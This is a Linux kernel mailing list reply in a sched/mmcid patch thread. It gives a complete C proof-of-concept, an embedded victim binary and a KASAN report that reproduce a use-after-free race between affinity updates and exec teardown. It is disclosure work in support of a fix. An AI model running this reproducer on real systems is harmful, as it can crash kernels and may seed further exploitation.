mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: Weiming Shi <bestswngs@gmail.com>
To: Kees Cook <kees@kernel.org>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
	Ingo Molnar <mingo@redhat.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Juri Lelli <juri.lelli@redhat.com>,
	Vincent Guittot <vincent.guittot@linaro.org>,
	Dietmar Eggemann <dietmar.eggemann@arm.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Ben Segall <bsegall@google.com>, Mel Gorman <mgorman@suse.de>,
	Valentin Schneider <vschneid@redhat.com>,
	K Prateek Nayak <kprateek.nayak@amd.com>
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
	linux-kernel@vger.kernel.org, Xiang Mei <xmei5@asu.edu>
Subject: Re: [PATCH v3] sched/mmcid: Synchronize MM teardown with affinity updates
Date: Tue, 10 Nov 2026 10:38:09 -0800	[thread overview]
Message-ID: <20261110183809.3308868-2-bestswngs@gmail.com> (raw)
In-Reply-To: <20261110183809.3308868-1-bestswngs@gmail.com>

Hi,

Here is a standalone reproducer for the p->mm lifetime race.

The tested kernel was commit 05441d697f7f9a927264f4058cbbc6a03dfcac9d
with:

```
CONFIG_SMP=y
CONFIG_EXPERT=y
# CONFIG_FUTEX is not set
CONFIG_RSEQ=y
CONFIG_SCHED_MM_CID=y
CONFIG_KASAN=y
CONFIG_KASAN_GENERIC=y
CONFIG_KASAN_INLINE=y
CONFIG_DEBUG_INFO=y
```

KASAN and DEBUG_INFO produce and decode the report. The vulnerable path
requires CONFIG_SCHED_MM_CID=y. This exec manifestation also requires
CONFIG_FUTEX=n because futex_exec_done() otherwise serializes old-MM teardown
with the p->pi_lock held by the affinity updater.

Dependencies and scheduling setup:

- x86-64 Linux guest with at least four online CPUs;
- gcc and glibc in the guest to build the PoC;
- sched_setaffinity(), memfd_create(), and execveat() available;
- eight guest vCPUs scheduled on four host CPUs for the tested 2:1 overcommit;
- UID/GID 65534 for the tested run.

Host command:

```
taskset -c 0-3 qemu-system-x86_64 \
    -accel kvm -machine q35 -cpu max -m 8G -smp 8 \
    -kernel bzImage -initrd initramfs.cpio.gz \
    -append "console=ttyS0 rdinit=/init nokaslr panic_on_warn=1 panic=-1" \
    -nographic -no-reboot
```

Build and run inside the guest:

```
gcc -O3 -Wall -Wextra -o poc poc.c
./poc 180
```

The reproducer works as follows:

1. It decodes an embedded 848-byte ET_EXEC image into a memfd.
2. The victim initially pins itself to the penultimate guest CPU. The setters
   then alternate its affinity between that CPU alone and the last two guest
   CPUs while it repeatedly executes the memfd with execveat(AT_EMPTY_PATH).
3. Up to six same-UID setter processes run on the other CPUs and alternate the
   victim between one- and two-CPU affinity masks.
4. A 31-us periodic userspace SIGALRM provides interrupt pressure.
5. Host CFS overcommit can deschedule a setter after it loads the
   victim's old p->mm. The victim can then complete setup_new_exec() and free
   that old mm before the setter reaches mm_update_cpus_allowed().

The PoC counts syscall attempts, successful affinity updates, errors, and
completed victim execs separately. Every ten-second window must contain both
a successful affinity update and victim exec progress. It checks for an early
victim or setter exit, and a clean result requires successful child statuses.

This is a stochastic race. The progress-checking version reported the UAF
after about 52.60 seconds. The last completed ten-second window before the
crash recorded 2,096,128 successful affinity updates, zero errors, and 18,975
completed execs:

```
BUG: KASAN: slab-use-after-free in set_cpus_allowed_common
Read of size 4 at addr ffff888123155e4c by task poc/5132
CPU: 4 UID: 65534 PID: 5132 Comm: poc

Call Trace:
 set_cpus_allowed_common             kernel/sched/core.c:10835
 set_cpus_allowed_fair               kernel/sched/fair.c:10046
 __set_cpus_allowed_ptr_locked       kernel/sched/core.c:3224
 __set_cpus_allowed_ptr              kernel/sched/core.c:3258
 __sched_setaffinity                 kernel/sched/syscalls.c:1161
 sched_setaffinity                   kernel/sched/syscalls.c:1239
 __x64_sys_sched_setaffinity         kernel/sched/syscalls.c:1275
 do_syscall_64                       arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe      arch/x86/entry/entry_64.S:121

Freed by task 5127:
 kmem_cache_free                     mm/slub.c:6757
 __mmput                             kernel/fork.c:1204
 mmput                               kernel/fork.c:1215
 setup_new_exec                      fs/exec.c:1395
 load_elf_binary                     fs/binfmt_elf.c:1024
 bprm_execve                         fs/exec.c:1865
 do_execveat_common.isra.0           fs/exec.c:1963
 __x64_sys_execveat                  fs/exec.c:2047
 do_syscall_64                       arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe      arch/x86/entry/entry_64.S:121
```

Complete PoC:

```c
/*
 * Standalone reproducer for the sched/mmcid p->mm UAF.
 *
 * Build: gcc -O3 -o poc poc.c
 * Run:   taskset -c 0-3 qemu-system-x86_64 ... -smp 8 ...
 * Guest: ./poc [seconds]
 *
 * The tiny self-exec victim is embedded below and executed from memfd.  The
 * tested VM used CONFIG_SCHED_MM_CID=y, CONFIG_FUTEX=n and 2:1 vCPU
 * overcommit (8 vCPUs on 4 host CPUs).
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/eventfd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define DEFAULT_RUNTIME 180
#define MAX_SETTERS 6
#define READY_FD 3
#define VICTIM_FD 4
#define VICTIM_SIZE 848

/* 848-byte ET_EXEC produced from victim_min_execfd.S + victim_min.ld. */
static const char victim_b64[] =
"f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAsABAAAAAAABAAAAAAAAAABACAAAAAAAAAAAAAEAAOAAC"
"AEAABQAEAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAOAEAAAAAAAA4AQAAAAAAAAAQ"
"AAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAA"
"AAAAAABJieS4AQAAAL8DAAAASI01VAAAALoIAAAADwVIg/gIdTlMiedIgecAAOD/vgAAQAC4CwAA"
"AA8FuEIBAAC/BAAAAEiNNSgAAABIjRUpAAAARTHSQbgAEAAADwW4PAAAAL9/AAAADwX0kAEAAAAA"
"AAAAAAAAAAAAAAAgAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA"
"8f8AAAAAAAAAAAAAAAAAAAAACgAAAAAAAQAYAUAAAAAAAAAAAAAAAAAADgAAAAAAAQAgAUAAAAAA"
"AAAAAAAAAAAAFAAAAAAAAQAoAUAAAAAAAAAAAAAAAAAAGQAAABIAAQCwAEAAAAAAAGcAAAAAAAAA"
"AHZpY3RpbS5vAG9uZQBlbXB0eQBhcmd2AF9zdGFydAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRh"
"YgAuaW1hZ2UAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAABAAAABwAAAAAAAACwAEAAAAAAALAAAAAAAAAAiAAA"
"AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAA4AQAA"
"AAAAAJAAAAAAAAAAAwAAAAUAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAA"
"AAAAyAEAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAA"
"AAAAAAAAAAAAAOgBAAAAAAAAIgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=";

struct setter_stats {
	volatile unsigned long long attempts;
	volatile unsigned long long successes;
	volatile unsigned long long errors;
};

struct shared_state {
	struct setter_stats setters[MAX_SETTERS];
};

static int b64_value(unsigned char c)
{
	if (c >= 'A' && c <= 'Z')
		return c - 'A';
	if (c >= 'a' && c <= 'z')
		return c - 'a' + 26;
	if (c >= '0' && c <= '9')
		return c - '0' + 52;
	if (c == '+')
		return 62;
	if (c == '/')
		return 63;
	return -1;
}

static int install_victim(void)
{
	unsigned char out[VICTIM_SIZE];
	size_t i, n = 0;
	unsigned int acc = 0, bits = 0;
	int fd;

	for (i = 0; victim_b64[i] && victim_b64[i] != '='; i++) {
		int v = b64_value((unsigned char)victim_b64[i]);

		if (v < 0)
			continue;
		acc = (acc << 6) | (unsigned int)v;
		bits += 6;
		if (bits >= 8) {
			bits -= 8;
			if (n == sizeof(out)) {
				errno = EOVERFLOW;
				return -1;
			}
			out[n++] = (unsigned char)(acc >> bits);
			acc &= (1U << bits) - 1;
		}
	}
	if (n != sizeof(out)) {
		errno = EINVAL;
		return -1;
	}
	fd = syscall(SYS_memfd_create, "sched-mmcid-victim", 0);
	if (fd < 0)
		return -1;
	if (fd != VICTIM_FD) {
		if (dup2(fd, VICTIM_FD) < 0) {
			close(fd);
			return -1;
		}
		close(fd);
		fd = VICTIM_FD;
	}
	if (write(fd, out, n) != (ssize_t)n || fchmod(fd, 0700))
		return -1;
	return 0;
}

static int install_exec_counter(void)
{
	int fd = eventfd(0, EFD_NONBLOCK);

	if (fd < 0)
		return -1;
	if (fd != READY_FD) {
		if (dup2(fd, READY_FD) < 0) {
			close(fd);
			return -1;
		}
		close(fd);
	}
	return 0;
}

static void pin_self(int cpu)
{
	cpu_set_t mask;

	CPU_ZERO(&mask);
	CPU_SET(cpu, &mask);
	if (sched_setaffinity(0, sizeof(mask), &mask)) {
		fprintf(stderr, "pin cpu%d: %s\n", cpu, strerror(errno));
		_exit(2);
	}
}

static void alarm_handler(int sig)
{
	(void)sig;
}

static void enable_irq_pressure(void)
{
	struct sigaction sa = { .sa_handler = alarm_handler };
	struct itimerval timer = {
		.it_interval = { .tv_sec = 0, .tv_usec = 31 },
		.it_value = { .tv_sec = 0, .tv_usec = 31 },
	};

	sigemptyset(&sa.sa_mask);
	sa.sa_flags = SA_RESTART;
	if (sigaction(SIGALRM, &sa, NULL) ||
	    setitimer(ITIMER_REAL, &timer, NULL))
		_exit(3);
}

static int drain_exec_counter(unsigned long long *total)
{
	uint64_t value;

	for (;;) {
		ssize_t ret = read(READY_FD, &value, sizeof(value));

		if (ret == sizeof(value)) {
			*total += value;
			continue;
		}
		if (ret < 0 && errno == EINTR)
			continue;
		if (ret < 0 && errno == EAGAIN)
			return 0;
		return -1;
	}
}

static int wait_for_first_exec(pid_t victim, unsigned long long *execs)
{
	struct pollfd pfd = { .fd = READY_FD, .events = POLLIN };
	int status, ret;

	do {
		ret = poll(&pfd, 1, 5000);
	} while (ret < 0 && errno == EINTR);
	if (ret != 1 || !(pfd.revents & POLLIN) ||
	    drain_exec_counter(execs) || !*execs)
		return -1;
	ret = waitpid(victim, &status, WNOHANG);
	if (ret == victim) {
		errno = ECHILD;
		return -1;
	}
	return ret < 0 ? -1 : 0;
}

static void publish_stats(struct setter_stats *stats,
			  unsigned long long attempts,
			  unsigned long long successes,
			  unsigned long long errors)
{
	__atomic_store_n(&stats->attempts, attempts, __ATOMIC_RELAXED);
	__atomic_store_n(&stats->successes, successes, __ATOMIC_RELAXED);
	__atomic_store_n(&stats->errors, errors, __ATOMIC_RELAXED);
}

static void run_setter(pid_t victim, int cpu, int victim_a, int victim_b,
		       int index, time_t deadline, struct shared_state *state)
{
	cpu_set_t one, two;
	unsigned long long attempts = 0, successes = 0, errors = 0;

	prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
	pin_self(cpu);
	enable_irq_pressure();
	CPU_ZERO(&one);
	CPU_SET(victim_a, &one);
	CPU_ZERO(&two);
	CPU_SET(victim_a, &two);
	CPU_SET(victim_b, &two);
	while (time(NULL) < deadline) {
		if (!syscall(SYS_sched_setaffinity, victim, sizeof(one), &one))
			successes++;
		else
			errors++;
		attempts++;
		if (!syscall(SYS_sched_setaffinity, victim, sizeof(two), &two))
			successes++;
		else
			errors++;
		attempts++;
		if (!(attempts & 0x3ff))
			publish_stats(&state->setters[index], attempts,
				      successes, errors);
	}
	publish_stats(&state->setters[index], attempts, successes, errors);
	_exit(0);
}

static void load_totals(struct shared_state *state, int nset,
			unsigned long long *attempts,
			unsigned long long *successes,
			unsigned long long *errors)
{
	int i;

	*attempts = *successes = *errors = 0;
	for (i = 0; i < nset; i++) {
		*attempts += __atomic_load_n(&state->setters[i].attempts,
					     __ATOMIC_RELAXED);
		*successes += __atomic_load_n(&state->setters[i].successes,
					      __ATOMIC_RELAXED);
		*errors += __atomic_load_n(&state->setters[i].errors,
					   __ATOMIC_RELAXED);
	}
}

static int wait_child(pid_t pid, int *status)
{
	pid_t ret;

	do {
		ret = waitpid(pid, status, 0);
	} while (ret < 0 && errno == EINTR);
	return ret == pid ? 0 : -1;
}

int main(int argc, char **argv)
{
	struct shared_state *state;
	pid_t victim, setters[MAX_SETTERS];
	time_t deadline;
	unsigned long long attempts = 0, successes = 0, errors = 0;
	unsigned long long execs = 0, previous_execs, previous_successes = 0;
	int cpus, runtime, victim_a, victim_b, nset, i, status;
	int spawned = 0, failed = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	cpus = (int)sysconf(_SC_NPROCESSORS_ONLN);
	if (cpus < 4) {
		fprintf(stderr, "need at least four online CPUs\n");
		return 1;
	}
	runtime = argc > 1 ? atoi(argv[1]) : DEFAULT_RUNTIME;
	if (runtime <= 0)
		runtime = DEFAULT_RUNTIME;
	victim_a = cpus - 2;
	victim_b = cpus - 1;
	nset = victim_a < MAX_SETTERS ? victim_a : MAX_SETTERS;
	state = mmap(NULL, sizeof(*state), PROT_READ | PROT_WRITE,
		     MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (state == MAP_FAILED)
		return 1;
	for (i = 0; i < MAX_SETTERS; i++)
		setters[i] = -1;
	if (install_exec_counter() || install_victim()) {
		perror("install victim");
		return 1;
	}

	victim = fork();
	if (!victim) {
		cpu_set_t pinned;
		char *const av[] = { "victim", NULL };
		char *const ev[] = { NULL };

		prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
		CPU_ZERO(&pinned);
		CPU_SET(victim_a, &pinned);
		if (sched_setaffinity(0, sizeof(pinned), &pinned))
			_exit(4);
		syscall(SYS_execveat, VICTIM_FD, "", av, ev, AT_EMPTY_PATH);
		_exit(127);
	}
	if (victim < 0)
		return 1;
	if (wait_for_first_exec(victim, &execs)) {
		perror("victim did not begin exec loop");
		failed = 1;
		goto cleanup;
	}
	deadline = time(NULL) + runtime;
	printf("[*] standalone minimal-exec race: runtime=%ds setters=%d\n",
	       runtime, nset);
	printf("[*] victim starts on cpu%d; setters alternate {%d} and {%d,%d}\n",
	       victim_a, victim_a, victim_a, victim_b);
	for (i = 0; i < nset; i++) {
		setters[i] = fork();
		if (!setters[i])
			run_setter(victim, i, victim_a, victim_b, i,
				   deadline, state);
		if (setters[i] < 0) {
			perror("fork setter");
			failed = 1;
			goto cleanup;
		}
		spawned++;
	}
	previous_execs = execs;
	while (time(NULL) < deadline) {
		struct timespec delay;
		time_t remaining = deadline - time(NULL);
		pid_t ret;

		ret = waitpid(victim, &status, WNOHANG);
		if (ret == victim) {
			fprintf(stderr, "victim exited early: status=0x%x\n", status);
			victim = -1;
			failed = 1;
			goto cleanup;
		}
		if (ret < 0) {
			perror("waitpid victim");
			failed = 1;
			goto cleanup;
		}
		for (i = 0; i < spawned; i++) {
			if (setters[i] < 0)
				continue;
			ret = waitpid(setters[i], &status, WNOHANG);
			if (ret == setters[i]) {
				setters[i] = -1;
				if (time(NULL) < deadline || !WIFEXITED(status) ||
				    WEXITSTATUS(status)) {
					fprintf(stderr,
						"setter %d exited early: status=0x%x\n",
						i, status);
					failed = 1;
					goto cleanup;
				}
			} else if (ret < 0) {
				perror("waitpid setter");
				failed = 1;
				goto cleanup;
			}
		}
		if (remaining <= 0)
			break;
		delay.tv_sec = remaining > 10 ? 10 : remaining;
		delay.tv_nsec = 0;
		while (nanosleep(&delay, &delay) && errno == EINTR)
			;
		if (drain_exec_counter(&execs)) {
			perror("read exec counter");
			failed = 1;
			goto cleanup;
		}
		ret = waitpid(victim, &status, WNOHANG);
		if (ret == victim) {
			fprintf(stderr, "victim exited early: status=0x%x\n", status);
			victim = -1;
			failed = 1;
			goto cleanup;
		}
		if (ret < 0) {
			perror("waitpid victim");
			failed = 1;
			goto cleanup;
		}
		load_totals(state, nset, &attempts, &successes, &errors);
		if (execs == previous_execs) {
			fprintf(stderr, "victim made no exec progress in window\n");
			failed = 1;
			goto cleanup;
		}
		if (successes == previous_successes) {
			fprintf(stderr,
				"setters made no successful affinity progress in window\n");
			failed = 1;
			goto cleanup;
		}
		printf("[*] progress: affinity_success=%llu attempts=%llu "
		       "errors=%llu execs=%llu\n",
		       successes, attempts, errors, execs);
		previous_execs = execs;
		previous_successes = successes;
	}
	for (i = 0; i < spawned; i++) {
		if (setters[i] < 0)
			continue;
		if (wait_child(setters[i], &status) || !WIFEXITED(status) ||
		    WEXITSTATUS(status)) {
			fprintf(stderr, "setter %d failed: status=0x%x\n", i, status);
			failed = 1;
		}
		setters[i] = -1;
	}
	load_totals(state, nset, &attempts, &successes, &errors);
	if (!attempts || !successes || attempts != successes + errors) {
		fprintf(stderr, "invalid affinity totals\n");
		failed = 1;
	}
	if (drain_exec_counter(&execs)) {
		fprintf(stderr, "failed to read final exec progress\n");
		failed = 1;
	}
	if (kill(victim, SIGKILL)) {
		perror("kill victim");
		failed = 1;
	} else if (wait_child(victim, &status) || !WIFSIGNALED(status) ||
		   WTERMSIG(status) != SIGKILL) {
		fprintf(stderr, "unexpected victim status: 0x%x\n", status);
		failed = 1;
	}
	victim = -1;
	if (!failed) {
		printf("[*] validated completion: affinity_success=%llu "
		       "attempts=%llu errors=%llu execs=%llu; no KASAN report\n",
		       successes, attempts, errors, execs);
		return 0;
	}

cleanup:
	for (i = 0; i < spawned; i++) {
		if (setters[i] > 0) {
			kill(setters[i], SIGKILL);
			wait_child(setters[i], &status);
		}
	}
	if (victim > 0) {
		kill(victim, SIGKILL);
		wait_child(victim, &status);
	}
	puts("[!] validation failed");
	return 1;
}
```

The embedded victim source and linker script follow.

`victim_min_execfd.S`:

```asm
	.section .text
	.global _start
	.type _start,@function
_start:
	mov %rsp, %r12

	/* Count this instance through the inherited eventfd. */
	mov $1, %eax
	mov $3, %edi
	lea one(%rip), %rsi
	mov $8, %edx
	syscall
	cmp $8, %rax
	jne .Lexit

	/* Drop the stack and adjacent vDSO/vvar mappings before exec. */
	mov %r12, %rdi
	and $-2097152, %rdi
	mov $4194304, %esi
	mov $11, %eax
	syscall

	/* execveat(inherited_memfd_4, "", argv, NULL, AT_EMPTY_PATH). */
	mov $322, %eax
	mov $4, %edi
	lea empty(%rip), %rsi
	lea argv(%rip), %rdx
	xor %r10d, %r10d
	mov $0x1000, %r8d
	syscall

.Lexit:
	mov $60, %eax
	mov $127, %edi
	syscall
	hlt
	.size _start, .-_start

	.section .data
	.align 8
one:
	.quad 1
empty:
	.byte 0
	.align 8
argv:
	.quad empty
	.quad 0

	.section .note.GNU-stack,"",@progbits
```

`victim_min.ld`:

```ld
ENTRY(_start)

PHDRS
{
	image PT_LOAD FILEHDR PHDRS FLAGS(7);
	stack PT_GNU_STACK FLAGS(6);
}

SECTIONS
{
	. = 0x400000 + SIZEOF_HEADERS;
	.image : ALIGN(16) {
		*(.text*)
		*(.rodata*)
		*(.data*)
		*(.bss*)
	} :image
	/DISCARD/ : { *(.note*) *(.comment*) *(.eh_frame*) }
}
```

The embedded image was built with GCC 16.2.1 and GNU ld 2.46.1:

```sh
gcc -c -nostdlib -o victim.o victim_min_execfd.S
ld -nostdlib -T victim_min.ld -o victim victim.o
test "$(stat -c %s victim)" = 848
readelf -h -l -S victim
base64 -w 76 victim
```


Thanks,
Weiming


  reply	other threads:[~2026-11-10 18:38 UTC|newest]

Thread overview: 4+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-11-10 18:38 Weiming Shi
2026-11-10 18:38 ` Weiming Shi [this message]
2026-11-10 18:46   ` Mathieu Desnoyers
2026-11-10 18:45 ` Mathieu Desnoyers

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20261110183809.3308868-2-bestswngs@gmail.com \
    --to=bestswngs@gmail.com \
    --cc=brauner@kernel.org \
    --cc=bsegall@google.com \
    --cc=dietmar.eggemann@arm.com \
    --cc=jack@suse.cz \
    --cc=juri.lelli@redhat.com \
    --cc=kees@kernel.org \
    --cc=kprateek.nayak@amd.com \
    --cc=linux-fsdevel@vger.kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-mm@kvack.org \
    --cc=mathieu.desnoyers@efficios.com \
    --cc=mgorman@suse.de \
    --cc=mingo@redhat.com \
    --cc=peterz@infradead.org \
    --cc=rostedt@goodmis.org \
    --cc=vincent.guittot@linaro.org \
    --cc=viro@zeniv.linux.org.uk \
    --cc=vschneid@redhat.com \
    --cc=xmei5@asu.edu \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®